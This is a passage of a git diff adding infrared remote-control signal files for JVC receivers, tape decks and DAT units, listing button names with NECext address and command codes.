NECext +address: 83 00 00 00 +command: 18 00 00 00 +# +name: TAPE1_SEARCH_REV_<< +type: parsed +protocol: NECext +address: 83 00 00 00 +command: 18 00 00 00 +# +name: TAPE1_SRCH_REV_<< +type: parsed +protocol: NECext +address: 83 00 00 00 +command: 18 00 00 00 +# +name: TAPE1/2_AMS_<< +type: parsed +protocol: NECext +address: 83 00 00 00 +command: 18 00 00 00 +# +name: TAPE1_SKIP_< +type: parsed +protocol: NECext +address: 83 00 00 00 +command: 18 00 00 00 +# +name: TAPE_SEARCH_<< +type: parsed +protocol: NECext +address: 83 00 00 00 +command: 18 00 00 00 +# +name: TAPE1_SKIP_>> +type: parsed +protocol: NECext +address: 83 00 00 00 +command: 19 00 00 00 +# +name: TAPE1_SRCH_>> +type: parsed +protocol: NECext +address: 83 00 00 00 +command: 19 00 00 00 +# +name: TAPE_1_>>(3) +type: parsed +protocol: NECext +address: 83 00 00 00 +command: 19 00 00 00 +# +name: TAPE1_MUSIC_SCAN_>> +type: parsed +protocol: NECext +address: 83 00 00 00 +command: 19 00 00 00 +# +name: MUSIC_SCAN_>> +type: parsed +protocol: NECext +address: 83 00 00 00 +command: 19 00 00 00 +# +name: TAPE1_SEARCH_FWD_>> +type: parsed +protocol: NECext +address: 83 00 00 00 +command: 19 00 00 00 +# +name: TAPE1_SRCH_FWD_>> +type: parsed +protocol: NECext +address: 83 00 00 00 +command: 19 00 00 00 +# +name: TAPE1/2_AMS_>> +type: parsed +protocol: NECext +address: 83 00 00 00 +command: 19 00 00 00 +# +name: TAPE1_SKIP_> +type: parsed +protocol: NECext +address: 83 00 00 00 +command: 19 00 00 00 +# +name: TAPE_SEARCH_>> +type: parsed +protocol: NECext +address: 83 00 00 00 +command: 19 00 00 00 +# +name: TAPE1_STOP_[] +type: parsed +protocol: NECext +address: 83 00 00 00 +command: 43 00 00 00 +# +name: TAPE1_PLAY_> +type: parsed +protocol: NECext +address: 83 00 00 00 +command: 4C 00 00 00 +# +name: TAPE1_REC/PLAY +type: parsed +protocol: NECext +address: 83 00 00 00 +command: CC 00 00 00 +# +name: TAPE_1_REC/PLAY +type: parsed +protocol: NECext +address: 83 00 00 00 +command: CC 00 00 00 +# +name: TAPE1_REC-PLAY +type: parsed +protocol: NECext +address: 83 00 00 00 +command: CC 00 00 00 +# +name: TAPE1_CON._REC/PLAY +type: parsed +protocol: NECext +address: 83 00 00 00 +command: CC 00 00 00 +# +name: TAPE_CONT_REC +type: parsed +protocol: NECext +address: 83 00 00 00 +command: CC 00 00 00 +# +name: TAPE1/2_REC +type: parsed +protocol: NECext +address: 83 00 00 00 +command: CC 00 00 00 +# +name: TAPE_REC_(REC+PLAY) +type: parsed +protocol: NECext +address: 83 00 00 00 +command: CC 00 00 00 +# +name: TAPE1/2_PLAY/REC +type: parsed +protocol: NECext +address: 83 00 00 00 +command: CC 00 00 00 +# +name: TAPE1_REC/PAUSE +type: parsed +protocol: NECext +address: 83 00 00 00 +command: CD 00 00 00 +# +name: TAPE_1_REC/STOP +type: parsed +protocol: NECext +address: 83 00 00 00 +command: CD 00 00 00 +# +name: TAPE1_REC-PAUSE +type: parsed +protocol: NECext +address: 83 00 00 00 +command: CD 00 00 00 +# +name: TAPE1_REC/STANDBY +type: parsed +protocol: NECext +address: 83 00 00 00 +command: CD 00 00 00 +# +name: TAPE1_CON._REC/PAUSE +type: parsed +protocol: NECext +address: 83 00 00 00 +command: CD 00 00 00 +# +name: TAPE1_CON.REC/PAUSE +type: parsed +protocol: NECext +address: 83 00 00 00 +command: CD 00 00 00 +# +name: TAPE1/2_REC/STBY +type: parsed +protocol: NECext +address: 83 00 00 00 +command: CD 00 00 00 +# +name: TAPE_CONT_REC/PAUSE +type: parsed +protocol: NECext +address: 83 00 00 00 +command: CD 00 00 00 +# +name: TAPE_REC/PLAY +type: parsed +protocol: NECext +address: 83 00 00 00 +command: CD 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/JVC/Receiver/147,-1.ir b/assets/resources/infrared/_CSV-IRDB_/JVC/Receiver/147,-1.ir new file mode 100644 index 000000000..e5f28b402 --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/JVC/Receiver/147,-1.ir @@ -0,0 +1,236 @@ +Filetype: IR signals file +Version: 1 +# +name: DAT_STOP_[] +type: parsed +protocol: NECext +address: 93 00 00 00 +command: 53 00 00 00 +# +name: DAT_FF_>> +type: parsed +protocol: NECext +address: 93 00 00 00 +command: 56 00 00 00 +# +name: DAT_FFWD_>> +type: parsed +protocol: NECext +address: 93 00 00 00 +command: 56 00 00 00 +# +name: DAT_REW_<< +type: parsed +protocol: NECext +address: 93 00 00 00 +command: 57 00 00 00 +# +name: DAT_PLAY_> +type: parsed +protocol: NECext +address: 93 00 00 00 +command: 5C 00 00 00 +# +name: DAT_PAUSE/STILL_ +type: parsed +protocol: NECext +address: 93 00 00 00 +command: 5D 00 00 00 +# +name: DAT_PAUSE_ +type: parsed +protocol: NECext +address: 93 00 00 00 +command: 5D 00 00 00 +# +name: DAT_AUTO_SEARCH_<< +type: parsed +protocol: NECext +address: 93 00 00 00 +command: 68 00 00 00 +# +name: DAT_SEARCH_<< +type: parsed +protocol: NECext +address: 93 00 00 00 +command: 68 00 00 00 +# +name: DAT_AUTO_SEARCH_>> +type: parsed +protocol: NECext +address: 93 00 00 00 +command: 69 00 00 00 +# +name: DAT_SEARCH_>> +type: parsed +protocol: NECext +address: 93 00 00 00 +command: 69 00 00 00 +# +name: DAT_10KEY_0 +type: parsed +protocol: NECext +address: 93 00 00 00 +command: 70 00 00 00 +# +name: DAT_0 +type: parsed +protocol: NECext +address: 93 00 00 00 +command: 70 00 00 00 +# +name: DAT_10KEY_1 +type: parsed +protocol: NECext +address: 93 00 00 00 +command: 71 00 00 00 +# +name: DAT_1 +type: parsed +protocol: NECext +address: 93 00 00 00 +command: 71 00 00 00 +# +name: DAT_10KEY_2 +type: parsed +protocol: NECext +address: 93 00 00 00 +command: 72 00 00 00 +# +name: DAT_2 +type: parsed +protocol: NECext +address: 93 00 00 00 +command: 72 00 00 00 +# +name: DAT_10KEY_3 +type: parsed +protocol: NECext +address: 93 00 00 00 +command: 73 00 00 00 +# +name: DAT_3 +type: parsed +protocol: NECext +address: 93 00 00 00 +command: 73 00 00 00 +# +name: DAT_10KEY_4 +type: parsed +protocol: NECext +address: 93 00 00 00 +command: 74 00 00 00 +# +name: DAT_4 +type: parsed +protocol: NECext +address: 93 00 00 00 +command: 74 00 00 00 +# +name: DAT_10KEY_5 +type: parsed +protocol: NECext +address: 93 00 00 00 +command: 75 00 00 00 +# +name: DAT_5 +type: parsed +protocol: NECext +address: 93 00 00 00 +command: 75 00 00 00 +# +name: DAT_10KEY_6 +type: parsed +protocol: NECext +address: 93 00 00 00 +command: 76 00 00 00 +# +name: DAT_6 +type: parsed +protocol: NECext +address: 93 00 00 00 +command: 76 00 00 00 +# +name: DAT_10KEY_7/P +type: parsed +protocol: NECext +address: 93 00 00 00 +command: 77 00 00 00 +# +name: DAT_7/P +type: parsed +protocol: NECext +address: 93 00 00 00 +command: 77 00 00 00 +# +name: DAT_7 +type: parsed +protocol: NECext +address: 93 00 00 00 +command: 77 00 00 00 +# +name: DAT_10KEY_8 +type: parsed +protocol: NECext +address: 93 00 00 00 +command: 78 00 00 00 +# +name: DAT_8 +type: parsed +protocol: NECext +address: 93 00 00 00 +command: 78 00 00 00 +# +name: DAT_10KEY_9 +type: parsed +protocol: NECext +address: 93 00 00 00 +command: 79 00 00 00 +# +name: DAT_9 +type: parsed +protocol: NECext +address: 93 00 00 00 +command: 79 00 00 00 +# +name: DAT_10KEY_10 +type: parsed +protocol: NECext +address: 93 00 00 00 +command: 7E 00 00 00 +# +name: DAT_10_CONTINUE +type: parsed +protocol: NECext +address: 93 00 00 00 +command: 7E 00 00 00 +# +name: DAT_10 +type: parsed +protocol: NECext +address: 93 00 00 00 +command: 7E 00 00 00 +# +name: DAT_10KEY_+10 +type: parsed +protocol: NECext +address: 93 00 00 00 +command: 7F 00 00 00 +# +name: DAT_+10 +type: parsed +protocol: NECext +address: 93 00 00 00 +command: 7F 00 00 00 +# +name: DAT_REC/PLAY +type: parsed +protocol: NECext +address: 93 00 00 00 +command: 8C 00 00 00 +# +name: DAT_REC/PAUSE/STILL +type: parsed +protocol: NECext +address: 93 00 00 00 +command: 8D 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/JVC/Receiver/159,-1.ir b/assets/resources/infrared/_CSV-IRDB_/JVC/Receiver/159,-1.ir new file mode 100644 index 000000000..27515cd3c --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/JVC/Receiver/159,-1.ir @@ -0,0 +1,290 @@ +Filetype: IR signals file +Version: 1 +# +name: POWER +type: parsed +protocol: NECext +address: 9F 00 00 00 +command: 00 00 00 00 +# +name: VOLUME_+ +type: parsed +protocol: NECext +address: 9F 00 00 00 +command: 01 00 00 00 +# +name: VOLUME_- +type: parsed +protocol: NECext +address: 9F 00 00 00 +command: 02 00 00 00 +# +name: ACTIVE_HYPER-BASS +type: parsed +protocol: NECext +address: 9F 00 00 00 +command: 04 00 00 00 +# +name: TUNER/BAND +type: parsed +protocol: NECext +address: 9F 00 00 00 +command: 0B 00 00 00 +# +name: AUX +type: parsed +protocol: NECext +address: 9F 00 00 00 +command: 0D 00 00 00 +# +name: (SHIFT)ENTER +type: parsed +protocol: NECext +address: 9F 00 00 00 +command: 11 00 00 00 +# +name: (SHIFT)AUTO_PRESET +type: parsed +protocol: NECext +address: 9F 00 00 00 +command: 13 00 00 00 +# +name: CD_UNKNOWN +type: parsed +protocol: NECext +address: 9F 00 00 00 +command: 14 00 00 00 +# +name: PRESET_TUNING +type: parsed +protocol: NECext +address: 9F 00 00 00 +command: 15 00 00 00 +# +name: (SHIFT)DISPLAY +type: parsed +protocol: NECext +address: 9F 00 00 00 +command: 1C 00 00 00 +# +name: (SHIFT)MODE +type: parsed +protocol: NECext +address: 9F 00 00 00 +command: 1F 00 00 00 +# +name: CD_1 +type: parsed +protocol: NECext +address: 9F 00 00 00 +command: 21 00 00 00 +# +name: CD_2 +type: parsed +protocol: NECext +address: 9F 00 00 00 +command: 22 00 00 00 +# +name: CD_3 +type: parsed +protocol: NECext +address: 9F 00 00 00 +command: 23 00 00 00 +# +name: CD_4 +type: parsed +protocol: NECext +address: 9F 00 00 00 +command: 24 00 00 00 +# +name: CD_5 +type: parsed +protocol: NECext +address: 9F 00 00 00 +command: 25 00 00 00 +# +name: CD_6 +type: parsed +protocol: NECext +address: 9F 00 00 00 +command: 26 00 00 00 +# +name: CD_7 +type: parsed +protocol: NECext +address: 9F 00 00 00 +command: 27 00 00 00 +# +name: CD_8 +type: parsed +protocol: NECext +address: 9F 00 00 00 +command: 28 00 00 00 +# +name: CD_9 +type: parsed +protocol: NECext +address: 9F 00 00 00 +command: 29 00 00 00 +# +name: CD_10 +type: parsed +protocol: NECext +address: 9F 00 00 00 +command: 2A 00 00 00 +# +name: CD_+10 +type: parsed +protocol: NECext +address: 9F 00 00 00 +command: 2E 00 00 00 +# +name: (SHIFT)TIMER +type: parsed +protocol: NECext +address: 9F 00 00 00 +command: 30 00 00 00 +# +name: SLEEP +type: parsed +protocol: NECext +address: 9F 00 00 00 +command: 32 00 00 00 +# +name: (SHIFT)CLOCK +type: parsed +protocol: NECext +address: 9F 00 00 00 +command: 33 00 00 00 +# +name: (SHIFT)TIMER_ON/OFF +type: parsed +protocol: NECext +address: 9F 00 00 00 +command: 36 00 00 00 +# +name: CD_SRCH_>>(UP) +type: parsed +protocol: NECext +address: 9F 00 00 00 +command: 3D 00 00 00 +# +name: CD_SRCH_<<(DOWN) +type: parsed +protocol: NECext +address: 9F 00 00 00 +command: 3E 00 00 00 +# +name: TAPE_STOP_[] +type: parsed +protocol: NECext +address: 9F 00 00 00 +command: 41 00 00 00 +# +name: TAPE_MUSIC_SCAN_>> +type: parsed +protocol: NECext +address: 9F 00 00 00 +command: 44 00 00 00 +# +name: TAPE_MUSIC_SCAN_<< +type: parsed +protocol: NECext +address: 9F 00 00 00 +command: 45 00 00 00 +# +name: TAPE_REC/PAUSE +type: parsed +protocol: NECext +address: 9F 00 00 00 +command: 4B 00 00 00 +# +name: TAPE_PLAY_> +type: parsed +protocol: NECext +address: 9F 00 00 00 +command: 4C 00 00 00 +# +name: TAPE_REV_PLAY_< +type: parsed +protocol: NECext +address: 9F 00 00 00 +command: 4D 00 00 00 +# +name: (SHIFT)SYNCHRO_REC +type: parsed +protocol: NECext +address: 9F 00 00 00 +command: 56 00 00 00 +# +name: CD_PLAY/PAUSE_>/ +type: parsed +protocol: NECext +address: 9F 00 00 00 +command: 70 00 00 00 +# +name: CD_STOP/CLEAR_[] +type: parsed +protocol: NECext +address: 9F 00 00 00 +command: 71 00 00 00 +# +name: (SHIFT)PROGRAM +type: parsed +protocol: NECext +address: 9F 00 00 00 +command: 74 00 00 00 +# +name: (SHIFT)EDIT +type: parsed +protocol: NECext +address: 9F 00 00 00 +command: 75 00 00 00 +# +name: (SHIFT)INTRO +type: parsed +protocol: NECext +address: 9F 00 00 00 +command: 76 00 00 00 +# +name: (SHIFT)RANDOM +type: parsed +protocol: NECext +address: 9F 00 00 00 +command: 77 00 00 00 +# +name: (SHIFT)REPEAT +type: parsed +protocol: NECext +address: 9F 00 00 00 +command: 78 00 00 00 +# +name: CD_DOOR +type: parsed +protocol: NECext +address: 9F 00 00 00 +command: 7B 00 00 00 +# +name: BASS_+ +type: parsed +protocol: NECext +address: 9F 00 00 00 +command: 87 00 00 00 +# +name: BASS_- +type: parsed +protocol: NECext +address: 9F 00 00 00 +command: 88 00 00 00 +# +name: TREBLE_+ +type: parsed +protocol: NECext +address: 9F 00 00 00 +command: 89 00 00 00 +# +name: TREBLE_- +type: parsed +protocol: NECext +address: 9F 00 00 00 +command: 8A 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/JVC/Receiver/163,-1.ir b/assets/resources/infrared/_CSV-IRDB_/JVC/Receiver/163,-1.ir new file mode 100644 index 000000000..d3cb51f57 --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/JVC/Receiver/163,-1.ir @@ -0,0 +1,1784 @@ +Filetype: IR signals file +Version: 1 +# +name: SLEEP_TIMER +type: parsed +protocol: NECext +address: A3 00 00 00 +command: 03 00 00 00 +# +name: SLEEP +type: parsed +protocol: NECext +address: A3 00 00 00 +command: 03 00 00 00 +# +name: TV_SLEEP +type: parsed +protocol: NECext +address: A3 00 00 00 +command: 03 00 00 00 +# +name: SLEEP_(SHIFT+3) +type: parsed +protocol: NECext +address: A3 00 00 00 +command: 03 00 00 00 +# +name: DAP_PRO_LOGIN_ON/OFF +type: parsed +protocol: NECext +address: A3 00 00 00 +command: 05 00 00 00 +# +name: SURROUND +type: parsed +protocol: NECext +address: A3 00 00 00 +command: 05 00 00 00 +# +name: SURROUND_ON/OFF +type: parsed +protocol: NECext +address: A3 00 00 00 +command: 05 00 00 00 +# +name: SURR_REAR_ON/OFF(-) +type: parsed +protocol: NECext +address: A3 00 00 00 +command: 05 00 00 00 +# +name: ACCOUSTIC_EXPANDER +type: parsed +protocol: NECext +address: A3 00 00 00 +command: 05 00 00 00 +# +name: DAP(PROCESS)ON/OFF +type: parsed +protocol: NECext +address: A3 00 00 00 +command: 05 00 00 00 +# +name: DAPDOLBY_ON/OFF +type: parsed +protocol: NECext +address: A3 00 00 00 +command: 05 00 00 00 +# +name: DAT +type: parsed +protocol: NECext +address: A3 00 00 00 +command: 06 00 00 00 +# +name: TAPE_2 +type: parsed +protocol: NECext +address: A3 00 00 00 +command: 07 00 00 00 +# +name: TAPE_2_SOURCE_SELECT +type: parsed +protocol: NECext +address: A3 00 00 00 +command: 07 00 00 00 +# +name: TAPE_2/VIDEO_SOUND +type: parsed +protocol: NECext +address: A3 00 00 00 +command: 07 00 00 00 +# +name: VIDEO_SOUND +type: parsed +protocol: NECext +address: A3 00 00 00 +command: 07 00 00 00 +# +name: TAPE2 +type: parsed +protocol: NECext +address: A3 00 00 00 +command: 07 00 00 00 +# +name: TAPE2/VIDEO_SOUND +type: parsed +protocol: NECext +address: A3 00 00 00 +command: 07 00 00 00 +# +name: SOURCE_SELECT_TAPE_2 +type: parsed +protocol: NECext +address: A3 00 00 00 +command: 07 00 00 00 +# +name: SOURCE_SLCT_TAPE2 +type: parsed +protocol: NECext +address: A3 00 00 00 +command: 07 00 00 00 +# +name: TAPE2_MONITOR +type: parsed +protocol: NECext +address: A3 00 00 00 +command: 07 00 00 00 +# +name: FM +type: parsed +protocol: NECext +address: A3 00 00 00 +command: 08 00 00 00 +# +name: FM_SOURCE_SELECT +type: parsed +protocol: NECext +address: A3 00 00 00 +command: 08 00 00 00 +# +name: SOURCE_SELECT_FM +type: parsed +protocol: NECext +address: A3 00 00 00 +command: 08 00 00 00 +# +name: SOURCE_SLCT_FM +type: parsed +protocol: NECext +address: A3 00 00 00 +command: 08 00 00 00 +# +name: INPUT_-_FM +type: parsed +protocol: NECext +address: A3 00 00 00 +command: 08 00 00 00 +# +name: AM +type: parsed +protocol: NECext +address: A3 00 00 00 +command: 09 00 00 00 +# +name: AM_SOURCE_SELECT +type: parsed +protocol: NECext +address: A3 00 00 00 +command: 09 00 00 00 +# +name: SOURCE_SELECT_AM +type: parsed +protocol: NECext +address: A3 00 00 00 +command: 09 00 00 00 +# +name: SOURCE_SLCT_AM +type: parsed +protocol: NECext +address: A3 00 00 00 +command: 09 00 00 00 +# +name: INPUT_-_AM +type: parsed +protocol: NECext +address: A3 00 00 00 +command: 09 00 00 00 +# +name: FM/AM +type: parsed +protocol: NECext +address: A3 00 00 00 +command: 0B 00 00 00 +# +name: DAP_L_BALANCE +type: parsed +protocol: NECext +address: A3 00 00 00 +command: 0E 00 00 00 +# +name: DAP_R_BALANCE +type: parsed +protocol: NECext +address: A3 00 00 00 +command: 0F 00 00 00 +# +name: TV/VIDEO +type: parsed +protocol: NECext +address: A3 00 00 00 +command: 10 00 00 00 +# +name: TVSOUND +type: parsed +protocol: NECext +address: A3 00 00 00 +command: 10 00 00 00 +# +name: INPUT_-_TV +type: parsed +protocol: NECext +address: A3 00 00 00 +command: 10 00 00 00 +# +name: VTR +type: parsed +protocol: NECext +address: A3 00 00 00 +command: 11 00 00 00 +# +name: VCR +type: parsed +protocol: NECext +address: A3 00 00 00 +command: 11 00 00 00 +# +name: INPUT_-_VCR +type: parsed +protocol: NECext +address: A3 00 00 00 +command: 11 00 00 00 +# +name: AUX-1_(VIDEO) +type: parsed +protocol: NECext +address: A3 00 00 00 +command: 12 00 00 00 +# +name: VIDEO +type: parsed +protocol: NECext +address: A3 00 00 00 +command: 12 00 00 00 +# +name: VCR2_POWER +type: parsed +protocol: NECext +address: A3 00 00 00 +command: 12 00 00 00 +# +name: VIDEO2 +type: parsed +protocol: NECext +address: A3 00 00 00 +command: 13 00 00 00 +# +name: VTR_SOUND_SELECTOR +type: parsed +protocol: NECext +address: A3 00 00 00 +command: 15 00 00 00 +# +name: SOUND_SELECTOR +type: parsed +protocol: NECext +address: A3 00 00 00 +command: 15 00 00 00 +# +name: AUDIO_POWER +type: parsed +protocol: NECext +address: A3 00 00 00 +command: 17 00 00 00 +# +name: POWER +type: parsed +protocol: NECext +address: A3 00 00 00 +command: 17 00 00 00 +# +name: AM/FM_DOWN_- +type: parsed +protocol: NECext +address: A3 00 00 00 +command: 18 00 00 00 +# +name: PRESET_- +type: parsed +protocol: NECext +address: A3 00 00 00 +command: 18 00 00 00 +# +name: AM/FM_PRESET_CH_- +type: parsed +protocol: NECext +address: A3 00 00 00 +command: 18 00 00 00 +# +name: AM/FM_PRESET_- +type: parsed +protocol: NECext +address: A3 00 00 00 +command: 18 00 00 00 +# +name: FM/AM_PRESET_- +type: parsed +protocol: NECext +address: A3 00 00 00 +command: 18 00 00 00 +# +name: AM/FM_TUNER_PRE(-[]) +type: parsed +protocol: NECext +address: A3 00 00 00 +command: 18 00 00 00 +# +name: AM/FM_UP_+ +type: parsed +protocol: NECext +address: A3 00 00 00 +command: 19 00 00 00 +# +name: PRESET_+ +type: parsed +protocol: NECext +address: A3 00 00 00 +command: 19 00 00 00 +# +name: AM/FM_PRESET_CH_+ +type: parsed +protocol: NECext +address: A3 00 00 00 +command: 19 00 00 00 +# +name: AM/FM_PRESET_+ +type: parsed +protocol: NECext +address: A3 00 00 00 +command: 19 00 00 00 +# +name: FM/AM_PRESET_+ +type: parsed +protocol: NECext +address: A3 00 00 00 +command: 19 00 00 00 +# +name: AM/FM_TUNER_PRE(+>) +type: parsed +protocol: NECext +address: A3 00 00 00 +command: 19 00 00 00 +# +name: POWER_OFF +type: parsed +protocol: NECext +address: A3 00 00 00 +command: 1A 00 00 00 +# +name: MUTE +type: parsed +protocol: NECext +address: A3 00 00 00 +command: 1C 00 00 00 +# +name: FADE_MUTING +type: parsed +protocol: NECext +address: A3 00 00 00 +command: 1C 00 00 00 +# +name: FADE_MUTE +type: parsed +protocol: NECext +address: A3 00 00 00 +command: 1C 00 00 00 +# +name: POWER_ON +type: parsed +protocol: NECext +address: A3 00 00 00 +command: 1D 00 00 00 +# +name: VOLUME_+ +type: parsed +protocol: NECext +address: A3 00 00 00 +command: 1E 00 00 00 +# +name: RCVR_VOLUME_+ +type: parsed +protocol: NECext +address: A3 00 00 00 +command: 1E 00 00 00 +# +name: MAIN_VOLUME_+ +type: parsed +protocol: NECext +address: A3 00 00 00 +command: 1E 00 00 00 +# +name: MASTER_VOLUME_+ +type: parsed +protocol: NECext +address: A3 00 00 00 +command: 1E 00 00 00 +# +name: VOLUME_- +type: parsed +protocol: NECext +address: A3 00 00 00 +command: 1F 00 00 00 +# +name: RCVR_VOLUME_- +type: parsed +protocol: NECext +address: A3 00 00 00 +command: 1F 00 00 00 +# +name: MAIN_VOLUME_- +type: parsed +protocol: NECext +address: A3 00 00 00 +command: 1F 00 00 00 +# +name: MASTER_VOLUME_- +type: parsed +protocol: NECext +address: A3 00 00 00 +command: 1F 00 00 00 +# +name: TUNER_10KEY_0 +type: parsed +protocol: NECext +address: A3 00 00 00 +command: 20 00 00 00 +# +name: FM/AM_0/10 +type: parsed +protocol: NECext +address: A3 00 00 00 +command: 20 00 00 00 +# +name: AM/FM_0 +type: parsed +protocol: NECext +address: A3 00 00 00 +command: 20 00 00 00 +# +name: 0 +type: parsed +protocol: NECext +address: A3 00 00 00 +command: 20 00 00 00 +# +name: TUNER_10KEY_0_MAG.PR +type: parsed +protocol: NECext +address: A3 00 00 00 +command: 20 00 00 00 +# +name: FM/AM_0 +type: parsed +protocol: NECext +address: A3 00 00 00 +command: 20 00 00 00 +# +name: AM/FM_1 +type: parsed +protocol: NECext +address: A3 00 00 00 +command: 21 00 00 00 +# +name: TUNER_10KEY_1 +type: parsed +protocol: NECext +address: A3 00 00 00 +command: 21 00 00 00 +# +name: PHONO_PLAY_> +type: parsed +protocol: NECext +address: A3 00 00 00 +command: 21 00 00 00 +# +name: FM/AM_1 +type: parsed +protocol: NECext +address: A3 00 00 00 +command: 21 00 00 00 +# +name: AM/FM_1(63HZ) +type: parsed +protocol: NECext +address: A3 00 00 00 +command: 21 00 00 00 +# +name: 1 +type: parsed +protocol: NECext +address: A3 00 00 00 +command: 21 00 00 00 +# +name: TUNER_10KEY_1_63HZ +type: parsed +protocol: NECext +address: A3 00 00 00 +command: 21 00 00 00 +# +name: AM/FM_2 +type: parsed +protocol: NECext +address: A3 00 00 00 +command: 22 00 00 00 +# +name: TUNER_10KEY_2 +type: parsed +protocol: NECext +address: A3 00 00 00 +command: 22 00 00 00 +# +name: PHONO_STOP_[] +type: parsed +protocol: NECext +address: A3 00 00 00 +command: 22 00 00 00 +# +name: FM/AM_2 +type: parsed +protocol: NECext +address: A3 00 00 00 +command: 22 00 00 00 +# +name: AM/FM_2(160HZ) +type: parsed +protocol: NECext +address: A3 00 00 00 +command: 22 00 00 00 +# +name: 2 +type: parsed +protocol: NECext +address: A3 00 00 00 +command: 22 00 00 00 +# +name: TUNER_10KEY_2_160HZ +type: parsed +protocol: NECext +address: A3 00 00 00 +command: 22 00 00 00 +# +name: AM/FM_3 +type: parsed +protocol: NECext +address: A3 00 00 00 +command: 23 00 00 00 +# +name: TUNER_10KEY_3 +type: parsed +protocol: NECext +address: A3 00 00 00 +command: 23 00 00 00 +# +name: FM/AM_3 +type: parsed +protocol: NECext +address: A3 00 00 00 +command: 23 00 00 00 +# +name: AM/FM_3(400HZ) +type: parsed +protocol: NECext +address: A3 00 00 00 +command: 23 00 00 00 +# +name: 3 +type: parsed +protocol: NECext +address: A3 00 00 00 +command: 23 00 00 00 +# +name: TUNER_10KEY_3_400HZ +type: parsed +protocol: NECext +address: A3 00 00 00 +command: 23 00 00 00 +# +name: AM/FM_4 +type: parsed +protocol: NECext +address: A3 00 00 00 +command: 24 00 00 00 +# +name: TUNER_10KEY_4 +type: parsed +protocol: NECext +address: A3 00 00 00 +command: 24 00 00 00 +# +name: FM/AM_4 +type: parsed +protocol: NECext +address: A3 00 00 00 +command: 24 00 00 00 +# +name: AM/FM_4(1KHZ) +type: parsed +protocol: NECext +address: A3 00 00 00 +command: 24 00 00 00 +# +name: 4 +type: parsed +protocol: NECext +address: A3 00 00 00 +command: 24 00 00 00 +# +name: TUNER_10KEY_4_1KHZ +type: parsed +protocol: NECext +address: A3 00 00 00 +command: 24 00 00 00 +# +name: AM/FM_5 +type: parsed +protocol: NECext +address: A3 00 00 00 +command: 25 00 00 00 +# +name: TUNER_10KEY_5 +type: parsed +protocol: NECext +address: A3 00 00 00 +command: 25 00 00 00 +# +name: FM/AM_5 +type: parsed +protocol: NECext +address: A3 00 00 00 +command: 25 00 00 00 +# +name: AM/FM_5(2.5KHZ) +type: parsed +protocol: NECext +address: A3 00 00 00 +command: 25 00 00 00 +# +name: 5 +type: parsed +protocol: NECext +address: A3 00 00 00 +command: 25 00 00 00 +# +name: TUNER_10KEY_5_2.5KHZ +type: parsed +protocol: NECext +address: A3 00 00 00 +command: 25 00 00 00 +# +name: AM/FM_6 +type: parsed +protocol: NECext +address: A3 00 00 00 +command: 26 00 00 00 +# +name: TUNER_10KEY_6 +type: parsed +protocol: NECext +address: A3 00 00 00 +command: 26 00 00 00 +# +name: FM/AM_6 +type: parsed +protocol: NECext +address: A3 00 00 00 +command: 26 00 00 00 +# +name: AM/FM_6(6.3KHZ) +type: parsed +protocol: NECext +address: A3 00 00 00 +command: 26 00 00 00 +# +name: 6 +type: parsed +protocol: NECext +address: A3 00 00 00 +command: 26 00 00 00 +# +name: TUNER_10KEY_6_6.3KHZ +type: parsed +protocol: NECext +address: A3 00 00 00 +command: 26 00 00 00 +# +name: AM/FM_7 +type: parsed +protocol: NECext +address: A3 00 00 00 +command: 27 00 00 00 +# +name: TUNER_10KEY_7 +type: parsed +protocol: NECext +address: A3 00 00 00 +command: 27 00 00 00 +# +name: AM/FM_7/P +type: parsed +protocol: NECext +address: A3 00 00 00 +command: 27 00 00 00 +# +name: FM/AM_7 +type: parsed +protocol: NECext +address: A3 00 00 00 +command: 27 00 00 00 +# +name: AM/FM_7/P(16KHZ) +type: parsed +protocol: NECext +address: A3 00 00 00 +command: 27 00 00 00 +# +name: 7/P +type: parsed +protocol: NECext +address: A3 00 00 00 +command: 27 00 00 00 +# +name: TUNER_10KEY_7/P_16KZ +type: parsed +protocol: NECext +address: A3 00 00 00 +command: 27 00 00 00 +# +name: FM/AM_7/P +type: parsed +protocol: NECext +address: A3 00 00 00 +command: 27 00 00 00 +# +name: 7 +type: parsed +protocol: NECext +address: A3 00 00 00 +command: 27 00 00 00 +# +name: AM/FM_8 +type: parsed +protocol: NECext +address: A3 00 00 00 +command: 28 00 00 00 +# +name: TUNER_10KEY_8 +type: parsed +protocol: NECext +address: A3 00 00 00 +command: 28 00 00 00 +# +name: 8 +type: parsed +protocol: NECext +address: A3 00 00 00 +command: 28 00 00 00 +# +name: FM/AM_8 +type: parsed +protocol: NECext +address: A3 00 00 00 +command: 28 00 00 00 +# +name: TUNER_10KEY_8_-SEA +type: parsed +protocol: NECext +address: A3 00 00 00 +command: 28 00 00 00 +# +name: AM/FM_9 +type: parsed +protocol: NECext +address: A3 00 00 00 +command: 29 00 00 00 +# +name: TUNER_10KEY_9 +type: parsed +protocol: NECext +address: A3 00 00 00 +command: 29 00 00 00 +# +name: 9 +type: parsed +protocol: NECext +address: A3 00 00 00 +command: 29 00 00 00 +# +name: FM/AM_9 +type: parsed +protocol: NECext +address: A3 00 00 00 +command: 29 00 00 00 +# +name: TUNER_10KEY_9_+SEA +type: parsed +protocol: NECext +address: A3 00 00 00 +command: 29 00 00 00 +# +name: AM/FM_10 +type: parsed +protocol: NECext +address: A3 00 00 00 +command: 2A 00 00 00 +# +name: TUNER_10KEY_10 +type: parsed +protocol: NECext +address: A3 00 00 00 +command: 2A 00 00 00 +# +name: 10 +type: parsed +protocol: NECext +address: A3 00 00 00 +command: 2A 00 00 00 +# +name: FM/AM_10 +type: parsed +protocol: NECext +address: A3 00 00 00 +command: 2A 00 00 00 +# +name: AM/FM_+10 +type: parsed +protocol: NECext +address: A3 00 00 00 +command: 2F 00 00 00 +# +name: TUNER_10KEY_+10 +type: parsed +protocol: NECext +address: A3 00 00 00 +command: 2F 00 00 00 +# +name: +10 +type: parsed +protocol: NECext +address: A3 00 00 00 +command: 2F 00 00 00 +# +name: 10_+ +type: parsed +protocol: NECext +address: A3 00 00 00 +command: 2F 00 00 00 +# +name: TUNER_10KEY_+10_PRGM +type: parsed +protocol: NECext +address: A3 00 00 00 +command: 2F 00 00 00 +# +name: FM/AM_10+ +type: parsed +protocol: NECext +address: A3 00 00 00 +command: 2F 00 00 